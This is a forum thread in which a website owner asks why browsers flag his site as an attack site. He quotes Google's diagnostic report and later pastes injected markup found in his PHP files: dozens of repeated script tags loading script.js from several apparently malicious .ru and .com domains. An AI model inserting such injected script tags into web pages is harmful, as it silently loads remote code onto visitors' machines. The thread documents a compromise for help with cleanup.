Help Please ! Google error - "Reported attack site..." in Firebox only.

2 replies
Hi there. I have a BIG problem when visiting one of my sites.

I get this error message..

Reported Attack Site!
This web site at www."mysiite".com has been reported as an attack site and has been blocked based on your security preferences.

Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.

Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.


When I click through, I get this information..


What is the current listing status for www."mysite".com/?
Site is listed as suspicious - visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.
What happened when Google visited this site?
Of the 1 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 09/18/2008, and the last time suspicious content was found on this site was on 09/18/2008.Malicious software includes 1 scripting exploit(s). Successful infection resulted in an average of 0 new processes on the target machine.
Malicious software is hosted on 8 domain(s), including mnbenio.ru, netr2.ru, jic2.ru.
2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including 24aspx.com, 64do.com.
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, www."mysite".com/ did not appear to function as an intermediary for the infection of any sites.
Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.
How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.
Next steps:

I've run a virus scan against my site (using the virus software in the host's control panel) and followed the advice by google, this is to upload a file for google to check. But I haven;t found any harmful files.

Have I been hacked?

Any suggestions how to resolve this?

Many thanks, Richard
#error #firebox #google #reported attack site
  • Profile picture of the author Gunter Eibl
    Had the same problem a while ago. I recommend to delete the whole site from your hosting account and upload a fresh copy again.

    Gunter
    {{ DiscussionBoard.errors[122713].message }}
  • Profile picture of the author richard-pc
    Regarding my original post above. I've just found the following text pasted into some of my php files in my route directory...

    "script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.netr2.ru/script.js></script><script src=http://www.netr2.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.ueur3.ru/script.js></script><script src=http://www.2b24.ru/script.js></script><script src=http://www.2b24.ru/script.js></script><script src=http://www.2b24.ru/script.js></script><script src=http://www.64do.com/script.js></script><script src=http://www.64do.com/script.js></script><script src=http://www.64do.com/script.js></script><script src=http://www.aspx46.com/script.js></script><script src=http://www.aspx46.com/script.js></script><script src=http://www.aspx46.com/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.jic2.ru/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.24aspx.com/script.js></script><script src=http://www.mnicbre.ru/script.js></script><script src=http://www.mnicbre.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script><script src=http://www.mnbenio.ru/script.js></script"


    I have no idea how this got there, but I have delete the php files. Now I'm wondering if there is a file somewhere which will keep adding this text to my php.

    Anybody else experienced this?

    Thanks Richard
    Signature
    Download a FREE MP3 spoken-word copy of my best selling book - Millionaire Upgrade. Inspired by a true story with Sir Richard Branson, and interviews with 51 self-made millionaires, you'll quickly learn how to leverage your own millionaire mindset, and build your own multi-million dollar business. To claim your own copy, just visit www.FreeMillionaireUpgradeBook.com (physical book sells on Amazon for $19.99).
    .
    {{ DiscussionBoard.errors[127103].message }}

Trending Topics